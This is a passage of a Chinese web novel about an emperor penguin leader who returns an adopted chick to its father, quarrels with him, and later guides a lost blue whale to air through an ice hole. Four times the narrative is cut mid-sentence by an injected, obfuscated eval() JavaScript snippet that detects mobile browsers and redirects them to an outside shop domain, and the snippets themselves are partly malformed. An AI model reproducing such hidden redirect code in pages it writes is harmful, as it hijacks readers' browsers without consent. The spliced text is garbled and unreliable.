阿湄跟着滑了过来,说:“阿步,这次你们回来的真快!我们先回族群吧!” 潘步点了点头,带着阿加往族群去,一边问:“怎么所有族群都搬到了这里?” 阿湄解释道:“没办法,今年所有阿德利都从东边上岸,真奇怪,以前也没这样……” 潘步恍然大悟,难怪这一路以来,他总觉得哪里不对劲! 原来是上岸后,一个阿德利企鹅都没遇到。 虽然阿德利大部队要等冬季结束后才上岸繁殖,但探路的先锋阿德利,早就该上岸,绝对不可能一个都没有! 这就证明所有阿德利族群都选择从东边上岸,西边冰原才会一个先锋阿德利都看不见。 帝企鹅和阿德利企鹅在某种程度上,是共生关系。 等冬季结束,所有成年帝企鹅都会下海,帝企鹅幼崽将开始独自生活。 阿德利大部队上岸后,会将所有帝企鹅幼崽赶下海,给阿德利族群繁殖腾地方。 如果没有阿德利驱赶,帝企鹅幼崽根本不会自己下海觅食,会活活饿死。 阿德利都从东边上岸,西边冰原的帝企鹅族群就不得不全部迁移到东边来。 这都是为了将来幼崽可以更快的被阿德利驱赶到大海,否则很容易饿死。 回到族群后,潘步立马就将肚子里无比新鲜的鱼虾吐出来,放在了阿加的面前,说: “崽崽,快吃吧。” 阿加一点儿都不饿,但还是狼吞虎咽的吃了起来。 族群其他雄企鹅也全都找到了自己的幼崽投喂,然后就是跟雌企鹅们亲昵。 阿加吃完后,不停的蹭着阿步的大爪子,说:“哥哥,真好吃!” 帝企鹅的肚子就是最保鲜的冰柜,吐出来的鱼虾就跟刚捕猎的一样鲜甜。 随后,潘步照样详细了解了族群的情况。 这次族群的幼崽一个都没少,而且每个崽子都长胖长高了很多,这让他很高兴。 阿湄一直跟在潘步的身边,说着: “幸好你们回来的早,我们还是得从西边下海,最好马上出发。” 虽然族群已经在东西冰原的交界处,但还是从西边下海更近,而且西边是他们熟悉的路。 潘步有些犹豫的说:“我就想让你们立刻出发,但又想着,崽子们的爸妈已经很久没亲昵过。” 阿湄尴尬道:“阿步,我没对象,都没想到这个,你也没对象,你咋能想到?还是你想的周全!” 潘步:…… 他俩都是刚成年的帝企鹅,还没经过“鹅事”。 一般来说,帝企鹅成年后两年左右才会找对象。 但他们都非常理解这些“新婚夫妇”的黏糊劲儿。 帝企鹅是一年换一个配偶,并且大部分时间都得分开去大海进食,因此每次相处都分外珍惜。 潘步望着那漫漫长路,坚定道:“你们还是得马上出发,走吧,早点回来。” 阿湄马上召集了族群的所有雌企鹅。 潘步又嘱咐了许多,当即就让阿湄带着雌企鹅们出海。 此后,就是漫长的等待,等雌企鹅们吃饱回来。 阿加始终只依偎在哥哥的身边。 这次情况特殊,到处都很埋汰,潘步也就没有太坚持 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16902161|192034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让阿加去跟族群的幼崽玩。 阿加十分嫌弃的看着族群里满地的屎,说:“好脏,我怕弄脏我的毛,我的毛脏了,就会弄脏哥哥的毛。” 潘步:……啊这,这根本无法反驳! 以前族群的聚居地很大,玩耍的地方和休息的地方都是隔开的,特别干净。 但现在东边所有的族群全部都挤在这里,每个族群能占据的位置就太小。 活动范围太小,企鹅数量太多,环境自然就变的非常脏乱差。 不仅是潘步的族群很脏,所有的族群都很脏,许多幼崽身上滚的全是五颜六色的屎。 这对爱干净的帝企鹅来说,简直无法忍受! 但为了幼崽,不得不忍,只能期盼冬季快点过去,崽子们快点长大。 突然,阿加猛的冲了出去,无比凶恶的驱赶跑过来玩的一群幼崽,用翅膀扇,用身体顶。 阿加比族群所有幼崽的体型都大,性格又十分凶恶,崽子们都怕他,赶忙跑到别处去玩。 随后,他重新依偎到哥哥的雪白羽毛里,嫌弃的说: “他们就会到处乱拉屎,会弄脏这里,哥哥的脚会踩到的,哥哥会不舒服!” 潘步:……其实我脚早就踩到了,到处都是啊,根本避不开,但能少踩一点也好。 帝企鹅是都很爱干净,但完全不会像阿加这样,还担心弄脏爪子。 为了让自己和阿加舒服一点,潘步开始往更东探索,寻找适合“洗澡”的干净雪地。 他甚至走到了东边族群的聚居地。 越往东,族群占据的地盘就越大,当然也就越干净。 这对比实在太明显,从脏乱差到一尘不染。 简直比从“贫民窟”到“富豪区”还夸张! 关键,他走到的东边族群其实都算很差的族群,因为是距离西边族群最近的。 果然,东边就是远远超过西边,根本没有可比性! 最终,他选了西边和东边中间的空旷雪地。 这片因为没有冰山遮挡,没有任何族群,距离他的族群又不算太远。 他时不时就带阿加来这里,在雪地里不停的蹭,直到身上变的洁白无瑕。 …… 这天,他俩正洗的起劲儿,东边族群的一只帝企鹅以极快的速度滑到了他俩的面前,嘎嘎叫着说: “这不就是阿让的崽子吗,叫阿加是吧,你居然还活着!” 阿加急忙否认:“我不是,你认错了。” “我绝不会认错!快回去吧,阿让一直在找你!” 潘步都没反应过来,喃喃的问:“真的吗?” “当然啦,阿让每次从海里回来,就会在东边的所有族群找崽子,都找疯了! 谁能想到一个幼崽能跑那么远,都跑西边族群去了……” 潘步急道:“阿加,你肯定是忘记了自己的爸爸是阿让,我现在就带你去找阿让!” 阿加猛的后退了几步,没站稳,一个屁股蹲儿坐了下去,眼神却无比坚定,嘎嘎叫着说: “我不知道什么阿让,我不回去!” 潘步坚定道:“我必须马上送你回去,阿让太好,不能让他着急。” 阿加又说:“哥哥,是他故意丢掉我,别送我回去。” 潘步:谎话编的也太低级,为了不回去,你咋啥都敢说! 他气的不行,抬起翅膀想扇两下教训,还是没忍心,只说:“由不得你。” 15.南极帝企鹅·生命赞歌(15) 阿加看着哥哥举起的翅膀,不仅丝毫不怕,还高扬起小脑袋,嘎嘎叫着说: “我不回去!你不想养我,可以丢掉,不许把我送回去!” 潘步当然能看出崽子是故意激他,却还是柔声安抚: “崽崽,你放心,我会经常去看你的,以后我都从东边上岸,现在从东边到我的族群也不会太远,我保证每次都留在阿让族群陪你……” 阿加拼命的摇头,无论他怎么保证,都不肯回阿让的族群。 潘步也没有再劝,转而对这只东边族群的帝企鹅说: “谢谢你来告诉我这些,我会马上带阿加去阿让的族群,你放心。” “阿让帮助过我的族群很多次,能为阿让找回崽子,我比你还高兴!” 这只帝企鹅无比兴奋的说着,突然话锋一转,忧心忡忡道: “可是,从这里去阿让的族群很远,崽子还这么小,你怎么带他走这么远的路?” 潘步骄傲道:“我之前就带着阿加去过海边……” 这个帝企鹅的族群是距离西边最近的,他隐约听说过阿步的事迹,惊呼道: “原来你就是那个带崽子长途跋涉的阿步,带的还就是阿加?!那我就放心了!阿步,你可真厉害啊!” 阿步谦虚道:“崽子更厉害,要是崽子体力耐力不行,我也没办法。” “是啊,真不愧是阿让的崽子,真厉害啊!你们赶紧出发吧!” 潘步解释道:“我先回族群.交代一下。” 这只帝企鹅一边说着:“好,快去吧。”一边已经往自己的族群去了。 潘步当即带着崽子,用最快的速度返回族群。 他首先找到了阿沙和阿慢,又找到了阿索,简单交代了一番。 阿索已经完全从失去幼崽的伤痛中走了出来,阿索是管理族群的一把好手。 他自然就让阿索在他离开期间代他管理族群。 阿沙和阿慢滑行速度最快,他还是选择带着他俩一起送阿加。 他又去大冰山下的雪洞里找出了之前那张完整的皮毛,给阿加挂在脖子上。 虽然崽子长大长高了一些,但皮毛还是能遮住肚子,完全够用。 阿加一直都很珍惜这个哥哥送给他的宝贝。 即便回到族群后再也用不上,他还是会将其珍藏在族群附近的雪洞里。 这次族群搬离聚居地,阿加也没忘记带上。 潘步从大海回来的时候,他立马就带着哥哥去看过这个宝贝。 他们立马就要出发,但阿加说什么都不愿意走。 潘步只说:“你不走,我们走,你就在这里吧,我要去阿让的族群了。” 说完,他带着两个小弟,头也不回的往东滑去。 阿加紧紧靠在大冰山上,浑身无法自控的颤抖,傻愣愣的望着阿步离开的背影,眼里早已蓄满泪水。 族群的幼崽全都围在阿加的身边,七嘴八舌的说着: “阿加,你真的是阿让的崽子吗,难怪你这么厉害!你为啥不回去啊,阿让的族群肯定超好啊!” “反正,阿让的族群肯定很干净,不像我们这里,好脏好臭。” “你还不去追吗?等会儿追不上了!” …… 阿索非常心疼,却还是硬起心肠说:“阿加,你最了解你哥哥,阿步他说一不二的,别跟他犟,赶紧去追,不要气坏了他……” 潘步在前面滑的飞快,始终没有回头看过一眼。 阿沙和阿慢不断回头,都没看见阿加追上去。 他们急的不行,不停的嘎嘎叫着说: “老大,我们慢点吧,等等阿加,老大,万一阿加真的不追来怎么办,要是阿加死活就待在族群里,阿索也拿他没办法……” 潘步没有做任何回应。 也不知过了多久,阿沙和阿慢同时大叫起来: “快看,阿加追上来了,我们比他先走那么久,他都能这么快追上来!” 潘步只是更加专注的滑行,并且速度更快。 阿加拼尽全力终于追上,赶紧就滑到哥哥的身边,说: “哥哥,你别生气了,都是我不好,我再也不气你了。” 潘步强忍着没有哄崽子,严肃道: “阿让是你的亲生父亲,你回去阿让身边才是最好的,不许再胡闹!” 阿加很想反驳,但最终还是咽了回去,转而说: “哥哥,你说过的,以后会经常去阿让的族群看我陪我,你要说话算数!不许骗我!” 潘步的语气已经不知不觉变的十分柔和: “我什么时候骗过你,放心吧,我永远都会是你的哥哥。” …… 潘步一边滑行一边安慰崽子,不知不觉就滑到了东边族群的聚居地。 放眼望去,各个冰山下全是超大族群,每个族群都至少有千只左右的帝企鹅。 那只帝企鹅早就把阿加还活着的消息带回了东部族群。 因为关乎阿让,消息传播速度很快,经过的族群全都望着他们,嘎嘎叫着说: “阿让没去西边族群找,就是不想看到崽子的尸体,幼崽如果跑那么远,肯定死在路上了啊,怎么可能还活着!” “哎,之前阿让就说过,只要没找到崽子的尸体,他就能骗自己一直找下去,其实阿让都不信崽子还活着。” “一般幼崽失踪半天,找不到的话,肯定就死了啊,谁能想到!” “他就是阿步吗,他可真聪明,居然想到给崽子搞个皮毛挂脖子上,这样滑起来,是很快。” …… 潘步觉得,他们简直是把他的心声全都说了出来! 他之前就从没想过,阿加是来自遥远的东边族群,更没想过来自最最遥远的阿让族群。 哪有幼崽可以跑到这么远的地方来,怎么可能。 他无法想象,阿加都经历了什么,才能活下来! 去阿让族群的路上,一切都很顺利。 沿途的所有族群都争着抢着为他们提供帮助,为他们指路等等,属于是一点儿弯路都没走。 眼见着马上就要抵达阿让的族群,潘步越来越激动,又有些伤感。 阿让是他的偶像,能跟阿让产生更深的联系,他当然高兴。 但这也就意味着,以后见阿加的机会必定越来越少。 他的族群和阿让的族群差距太大,他们就不可能有太多的交集。 终于,他看见了那个无比庞大的族群,至少有超过五千只帝企鹅。 潘步:天啦,好壮观! 阿让已经站在族群的最外面,等着他们。 他带着崽子飞速滑了过去。 阿让猛的抱住了崽子,哽咽着说:“阿加,你真的还活着,我没做梦……” 他早就听闻阿步带着阿加来找他了,但他不敢相信,直到现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16906300|192034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在,还是不敢相信! 潘步连忙解释:“阿让,对不起,我之前不知道阿加是你的崽子……” 阿让的声音无法自控的颤抖:“不,都是我的错,我都不知道该怎么感谢你!” 潘步简单讲述了,他是怎么捡到阿加的,以及后来发生的一切。 阿让听完终于相信阿加真的还活着,不是他在做梦。 他又无数次感谢了阿步。 阿加始终非常冷静,甚至冷漠,还凶巴巴的说:“阿让,是哥哥硬让我回来。” 潘步轻声提醒:“阿加,不许这么凶,还有,你要喊爸爸。” 阿让忙道:“随崽子高兴吧,阿步,只要崽子好,就怎么都好!” 阿加趾高气扬的说:“阿让,我的毛脏了,你,给我弄干净!” 潘步觉得有点过分了,连忙呵斥:“阿加,不许这样。” 阿让已经抬起翅膀仔细擦脏了的毛,还高兴的说:“阿步,幼崽应该被这样照顾。” 潘步忽然觉得,崽子在阿让面前能这么肆意妄为,也挺好。 阿加在他面前就有点太懂事乖巧,根本不像一个幼崽,这证明阿加在他身边还是没有安全感。 只有在绝对安全的环境,绝对信任的对象面前,才能肆意张扬。 果然——崽子还是得跟着亲爹! 阿加更加趾高气扬,甚至顶了阿让一下,但差点把自己顶摔倒,拼命扇翅膀才站稳,十分霸气的说: “阿让,我的任何要求,你都得答应。” 潘步:……崽崽,你有点小人得志了啊!好吧,小人得志很坏,但小鹅得志很萌! 阿让点头后,阿加才说:“我要阿步的族群加入你的族群,我要阿步当族群首领,你没有我哥哥厉害。” 潘步是真的有点生气了,怒吼:“阿加,你胡闹也要有个度!” 阿让思索了片刻,柔声道:“等冬季结束,我会考虑。” 潘步:……不是,你们怎么一个比一个溺爱崽子啊!这真的好吗! 阿加严肃道:“哥哥,你该出发了,族群还等你回去。” 潘步很高兴,崽子的适应性这么强,居然主动催他回去。 他又保证了一番,会经常来看望阿加,这才带着阿沙和阿慢离开。 原本他以为阿加会追着不让他走,但没有,阿加连族群都没出,甚至已经开始跟族群幼崽打闹玩耍。 他不断地回头去看,直到再也看不见阿让的族群。 阿加的表现,让他很高兴,又有点难过,又总觉得哪里不对劲。 …… 阿让一直目不转睛的看着阿加,怎么都看不够。 等崽子玩累了饿了,他立马就过去,用肚子里最新鲜的鱼虾投喂。 阿加还是像以前一样吃的狼吞虎咽。 但吃下去没一会儿,又全都吐了出来。 帝企鹅在非常难过的时候,是吃不下去任何东西的,吃了也会吐。 阿让连忙安慰:“不想吃就不吃,我知道,离开阿步,你太难过,放心,等冬季结束,爸爸就让你哥哥的族群加入我们的族群。” 阿加倔强的说:“我不难过,能吃下,等会儿就吃。” …… 阿让以为这样的情况,最多三五天就能缓解,但崽子始终吃了就吐。 阿加也不知道自己怎么了,他拼命的吃,拼命不让自己吐,但根本控制不了。 16.南极帝企鹅·生命赞歌(16) 他们已经距离阿让的族群很远,潘步还是有些恍惚,他真的见到了阿让,真的把阿加还给了阿让。 阿沙和阿慢也很激动,不停的说着: “老大,我从没见过这么大的族群,好多好多幼崽啊,父母从大海回来找崽子投喂,都得找挺久的吧……” 他们的族群总共就一百多只幼崽,回到族群,一眼就能看到自己的崽子。 但这种超大族群,要在几千只幼崽里面找到自己的崽子,就有点难度了。 潘步点着头,说:“他们都是排队找各自的幼崽。” 阿慢附和道:“对,我也听说过,是这样!难怪他们老丢崽子,要是遇到暴风雪,这么多幼崽,走丢几个,很难一下子就发现。” 潘步猜测,当初阿让之所以会弄丢阿加,很可能就跟忙着管理族群,没能顾得上自己的幼崽,多少有点关系。 其实他很想问,到底怎么丢的,但又觉得很冒犯,而且阿让已经在竭尽全力弥补,没必要再去揭开伤疤。 回程不用赶时间,潘步就带着小弟们探路,为将来从东边下海上岸做准备工作。 一路上他们遇到了很多先锋阿德利。 直到阿德利越来越少,他们终于回到了西边族群的聚居地。 西边聚居地的环境更加恶劣了,简直可以说臭不可闻。 特别他们还是从最好的阿让族群回来,差距实在太大。 阿沙和阿慢很想抱怨,但都忍住了,他们知道,老大刚送走了弟弟,本来心情就不好。 帝企鹅最眷恋的就是幼崽,他们的老大好不容易才养活了阿加,肯定很舍不得! 潘步回来后,首先当然还是了解族群的情况。 阿索将族群管理的很好。 随后,就是漫长的等待,等雌企鹅们吃饱从大海回来。 潘步傻愣愣的站着,呆呆的看着族群的幼崽们玩耍打闹。 他很喜欢看,就跟看一群毛绒企鹅玩具一样。 但帝企鹅幼崽可比企鹅毛绒玩具,更加可爱亿万倍! 潘步:虽然然很吵,但太可爱啦,世界上怎么会有如此萌物! “阿加,你也去跟他们玩吧,玩脏了,我们就去雪地里洗澡。” 潘步说完才突然意识到,阿加已经回了阿让的族群。 阿慢赶忙安慰:“老大,我们这次就走东边下海,很快就能再见到阿加。” 潘步尴尬道:“嗨,我、我真没事,就是,一时还没习惯。” 他不想承认,他确实有点难过,勉强承认的话,也只是有一点点难过而已! …… 也不知过了多久,这些日子,没有阿加,他都懒得去雪地洗澡了。 他给自己找的理由是:去雪地要大半天,还是有点远,又没洁癖崽子要带,去干嘛,怪累挺的。 这天,阿慢摇摇摆摆的走了过来,气鼓鼓的说: “老大,我受不了了,到处都好臭,好脏!早知道回来是这样,我还不如在海里被豹海豹吃掉算了……” 潘步很想安慰,但实在想不到任何安慰的话。 帝企鹅跟其他企鹅不一样,帝企鹅身上永远非常干净,黑色的毛永远一层不染,白色的毛永远雪白。 这种环境,对帝企鹅来说,确实太难受。 阿沙暴躁的顶了阿慢几下,说:“别烦老大,我们都能忍,怎么就你忍不了!等暴风雪来了,不就干净了吗!” 现在,暴风雪反而成了他们的救赎。 阿慢恳求道:“老大,我们去雪地洗澡吧,就你经常带阿加去的那里,我也想去,我真的受不了了!” 潘步也觉得有点难受,当即就带着两个小弟出发。 此后,他们时不时就去雪地洗澡。 与此同时,西边所有的族群都在万分期盼、焦急等待一场暴风雪。 但始终没等到。 潘步:我就知道,南极就是故意跟帝企鹅作对!!!故意的!!! …… 这天,他们三像往常一样又来了雪地洗澡。 他们洗了很久,迟迟不愿意回去。 帝企鹅轻易不会脱离族群,更不会到这么远,还没有冰山遮挡的地方,就为了弄干净毛。 他们三纯粹是因为滑行很快,艺高鹅胆大,不怕突然遭遇暴风雪。 并且,潘步早就观察好了,这附近的雪洞,能及时躲进去。 突然,阿沙惊叫起来:“啊,我没看错吧,那是阿让和阿加!” 阿慢抱怨道:“你怎么老一惊一乍的,肯定是你看错了啊,他们怎么会来。” 潘步瞪大了眼睛,喃喃自语:“我还以为,是我太想阿加,是我的幻觉,你们也看见了是吗?” 阿沙急道:“真的是他们!阿慢是个瞎子,他能认出才怪,但我眼睛很好啊!” 阿慢这次没有和他争吵,只是定定的看着他们越来越近。 潘步傻愣愣的站着,直到阿加猛的扑到他怀里,他才反应过来,惊问: “你们怎么来了?!” 阿让长叹了一口气,解释道:“没办法,你走后,阿加吃了就吐,什么都吃不下去,瘦的不成样子了,我怕他饿死……” 潘步顿时心疼的不行,仔细检查了崽子全身,是瘦了点,但没阿让说的那么严重, 阿让又补充道:“我带他来找你,在路上,他就吃进去了,才长的肉。” 潘步:“……” 阿加的声音颤抖的厉害:“哥哥,对不起,我真的不是故意的,我拼命吃了,我不想吐,但我控制不了我自己……” 潘步更是心疼的无以复加,柔声安慰:“好了,好了,不难过了,是我不好,我该在阿让的族群多陪你几天,让你慢慢适应。” 阿让连忙说:“怪我,都怪我,崽子已经离不开你,我想让你现在就带着族群,跟我走,加入我的族群。” 潘步脑子都差点宕机了,不敢置信的问:“现在?!” 阿让愧疚道:“是,就现在,对不起,阿步,我知道,这很为难你,但实在没别的办法了。” 潘步只感到很愤怒,果然拒绝: “不行,别的幼崽没法像阿加这样长途跋涉,我族群的幼崽,很多都会死在半路上!” 阿让连忙说:“阿步,你先别激动,等你族群的雌企鹅们回来,我们慢慢走去我的族群,食物充足,走走歇歇,有族群保护幼崽,不会太难。” 潘步怎么都没想到,阿让居然完全不顾他族群这么多幼崽的命! 关键,明明有更好的解决办法,阿加留在他身边就行,阿让就是为了能把阿加留在自己身边而已! 阿让原本无比高大的形象,在他心里,轰然坍塌。 愤怒让他完全失去理智,怒吼道: “你明知道幼崽对族群多重要,你要我族群的幼崽去送死?!” 阿让没有继续为自己解释,只是说: “你怎么想我都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912809|192034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行,但还是请你再考虑一下。 你的族群现在就加入我的族群,等冬季结束,崽子们要独立生活,肯定是我族群的幼崽最早一批下海,可以大大减少幼崽饿死的风险。 而且,我族群幼崽很多,也能带你族群的幼崽活下来更多。” 潘步冷哼了一声,说:“你的意思,我族群的幼崽早晚都得死一些,死在去你族群路上的,说不定还不如将来死的多,对吧?” 阿让没有说话,是一种默认。 潘步怒吼:“滚,你给我马上就滚!阿加留下,阿加留在我身边,你不配养崽子!” 阿加紧紧依偎在哥哥雪白的毛里,说:“哥哥,我早跟他说了,我留在你的身边,他非要这样,惹你生气。” 潘步用喙轻柔的蹭着崽子的脖颈,坚定道: “阿加,哥哥可以把你养的很好!什么大族群,什么最厉害的首领,我们不要,我们以后会更厉害!” 阿让深吸了一口气,说:“阿步,你冷静一点,再考虑一下。” 潘步怒吼:“我,阿步,就是死,被豹海豹活吃,被虎鲸撕碎,从大冰山上跳下来摔死,我都永远不会加入你的族群!你给我滚!” 阿让没有再劝,转身离去,只留下了一句话: “阿步,你是很好的首领,我为你的族群高兴。” 他知道,阿让没说出口的是:但你,不是一个好哥哥。 阿沙和阿慢都看傻了,阿让已经走远,他们才反应过来,无比感动的说: “老大,我们上辈子拯救了南极吗,有你这么好的老大!天啦,为了族群幼崽,你把阿让骂走了……” 潘步只是叮嘱:“回族群,什么都不要说,他们问,就说,是阿加硬要回来,阿让没办法,就送回来了。” 他们回到族群,阿加就被围了起来,但有阿步的嘱咐,自然什么都没问出。 此后,潘步又带着阿加来雪地洗了好几次澡,族群的雌企鹅们终于回来了。 阿湄立马滑到了阿步的身边,气喘吁吁的说: “大冰山,很多大冰山飘到了西海岸,现在还有地方上岸,以后肯定会被完全挡住,就没法走西边下海了……” 潘步喃喃道:“那,那西边所有族群都只能去东边冰原,重新找聚居地,没得选了。” 阿湄不住的点头,说:“我也这么考虑的,不然每次去大海也太远!太远真的不行,晚回来几天,幼崽就多死几个!” 潘步立马召集了族群,将情况简单说明,又叮嘱了许多,照顾好幼崽等等。 随后,他毅然决然带着族群踏上了向东之路。 族群走走停停,幼崽累了就歇,饿了就投喂,完全不急着赶路,尽量照顾到每一个幼崽的体力耐力极限。 经过一个大冰洞的时候,族群又停了下来休息。 幼崽全都累趴了,一动不动的缩在爸爸的育儿袋里,张嘴吃妈妈投喂的鱼虾。 唯独阿加精力旺盛的无处发泄,一直盯着大冰洞看。 这种程度的赶路,对阿加来说,实在太轻松。 潘步柔声问:“要不要进育儿袋里睡一觉?” 阿加摇着头说:“哥哥,我不累。” 这时,大冰洞下游上来一个庞然大物,巨大的像一座岛屿,无边的黑色阴影就足够震撼! 阿加惊呼:“哥哥,你快看,那是什么?” 潘步都愣住了,啥玩意儿能这么大,属实陷入知识盲区了! 17.南极帝企鹅·生命赞歌(17) 潘步目不转睛的盯着冰洞看,怎么看,都认不出到底是什么海洋生物。 巨大的黑色阴影在冰洞下焦急的游来游去,因为身体实在太庞大,游了很久,竟然都没露出完整的身体! 哪怕这庞然大物叫两声,他都能通过叫声判断物种,但这个岛屿一样的大家伙始终非常安静。 砰砰砰! 庞然大物突然猛烈的撞击冰洞,试图撞碎冰洞四周的薄冰层,扩大这个冰洞。 歘歘歘! 无数冰碴子掉入幽蓝的海水中,薄冰层确实被撞碎了一圈。 庞然大物还在继续撞,但厚冰层岿然不动,就连丝毫裂纹都没有。 阿加实在太好奇,站起来就要往冰洞滑。 潘步赶忙拦住了他,严厉道:“不许靠近任何冰洞,下面有豹海豹!太危险!” 阿加这才反应过来,说:“哥哥,我知道,我就是太好奇,就离近一点点看,可以吗?” 潘步小心翼翼的带着崽子靠近了一些,更加严肃道:“以后不管遇到什么冰洞,这就是能靠近的最近距离,记住了吗?” 阿加觉得不够近,但他还是用力的点了点头,只要是哥哥说的,他都照做。 庞然大物还在拼命撞击,被尖锐的冰层边缘划破了身体,都没停。 瞬息之间,冰洞里幽蓝的海水就变成了血红色。 唯一可以隐约看出的是,庞然大物的背部是深蓝色,像是某种大型须鲸。 但是,这个冰洞已经算比较大,直径至少有好几米,任何大鲸都可以直接从冰洞里露出脑袋。 潘步实在忍不住,嘎嘎大叫着问:“你是大鲸吗?你在干嘛啊?” 庞然大物没有理他,仍旧沉默的撞击冰洞。 没一会儿,海水就已经被鲜血变的异常浓稠浑浊。 潘步又说:“你别撞了,周围都是很厚的冰层,撞不掉的,你要干嘛,也许,我能帮你想想办法。” 庞然大物终于停止了撞击,轻声说: “我、我要换气,你、你能帮我?真是麻烦你了。” 潘步:……不是,怎么幻视“社恐大学生”,摔到坑里,都起不来了,还不好意思喊救命,路人来救,大学生非常礼貌但还是社恐。 这时,他才忽然反应过来,这是蓝鲸的声音! 潘步:卧槽,是蓝鲸!怎么可能呢?这根本不可能,蓝鲸绝对不会游到这种冰洞来,绝对不会! 他赶忙问:“你先告诉我,你是什么鲸?你到底有多大?我才能帮你想办法。” 庞然大物轻声道:“我叫蓝影,是蓝鲸,我已经试过很多次了,我的脑袋太大,会被冰洞卡住,没法换气。” 潘步惊道:“不是,你跑这里来干嘛?你不要命了啊!你们蓝鲸没法在冰洞换气的啊!” 蓝影有些尴尬的解释:“我,我迷路了,不小心游到了这边,再不换气,我会死,必须把冰洞撞大。” 潘步急道:“你这不纯纯找死吗,迷路了,你就发出鲸鸣啊,只要其他须鲸听到,肯定会回应你,就知道远洋在哪边了啊!” 蓝鲸不仅体型最大,也是声音最大的动物,鲸鸣可以传到80公里以外。 蓝影轻声解释:“我、我以为自己找一下方向,就找回去了,我没想到……” 潘步猜测,蓝影大概率是个“社恐”蓝鲸,喜爱独居,不擅长交流,更不擅长求助。 他赶忙说:“别撞了,我来想办法,你先把喷气孔移到冰洞,听我指挥。” 蓝鲸的脑袋十分庞大,舌头上就能站50个人,两个喷气孔在脑袋的正中央,无法将脑袋露出水面,很难换气。 光是喷气孔就十分巨大,单个喷气孔都能容纳一个人类小孩爬行,畅通无助。 蓝影在水下无法判断冰洞的具体位置,很难准确的将喷气孔正好放在冰洞里,全都歪到了冰面下。 潘步详细的指挥了好多次,终于对准,他赶忙说: “蓝影,你别紧张,先把鲸尾往下压,一点一点的压,不要着急,多试几次,肯定能行。” 蓝鲸只会高高扬起鲸尾,猛猛拍打海面,压鲸尾,听都没听说过。 更何况,往下压鲸尾,还在周围都是参差不齐冰壁的情况下,实在太难。 蓝影尝试了一次又一次,终于压下去了一些,同时明显感受到喷气孔露出了水面! 潘步大喊:“就这样,保持住,快,换气!” 轰隆一声巨响。 十多米高的水柱冲天而起。 瞬间,冰洞变成了一个巨大的喷泉。 蓝影终于换气成功,赶忙说:“谢谢你帮我,你叫什么名字?” 潘步催促道:“你快游回大海吧,我叫阿步,你得赶紧走,别再游错了,你游深一点,顺着海底洋流的方向游,就绝对不会错。” 蓝影轻声说:“我知道了,谢谢你,阿步。” 随后便发出悠长的鲸鸣,往大海游去。 蓝影的鲸鸣特别空灵轻盈,这是独属于刚成年雌性蓝鲸的鲸鸣。 太年轻的蓝鲸,经验太少,确实容易游错方向,但蓝影也错的太离谱了点! 关键,迷路就算了,她还社恐,不好意思求助! 不过,蓝鲸多少都有点“社恐”,因为蓝鲸的数量太少,没有族群,没有伙伴,逐渐就变的很“孤僻”。 阿加全程都无比专注的看着,哥哥怎么救庞大的蓝鲸。 这会儿才反应过来,不住的蹭着哥哥雪白的毛,喃喃的说: “哥哥,这就是蓝鲸吗,真的好大啊,但我还是不知道蓝鲸长啥样,都没露出全部身体。” 潘步:“等你去大海觅食,会看到蓝鲸的。” 阿沙早就跑到了老大的身边,这会儿才说: “老大,刚才,我比蓝鲸还紧张!老大,你真聪明,真厉害!老大,你真好,你总愿意帮他们。” 潘步:“反正,闲着也是闲着。” 阿慢感慨道:“这些大鲸都挺好的,又不吃我们,又不攻击我们,还会攻击虎鲸呢,算是帮我们,我喜欢。” 潘步:大型须鲸又没牙齿,当然不吃我们,只能吃磷虾小鱼。 他们休息了许久,等族群的幼崽全都恢复了精力,才继续出发。 东边冰原上适合帝企鹅的聚居地,已经全都有东边的族群占据。 潘步还不信邪,找了一些岔路去探索,想找到有冰山遮挡的地方,但一无所获。 这一路以来,他们不仅没找到合适的聚居地,还被其他后出发的西边族群赶超了。 追上来的西边族群,同样是先找新聚居地,实在找不到,就加入东边族群。 潘步也不得不改变策略,试图加入路过的东边族群,但都没成功! 其他西边族群加入东边族群都成功了,就他屡屡碰壁。 他已经不记得被拒绝了多少次,他用爪子想也知道,肯定是阿让的缘故! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 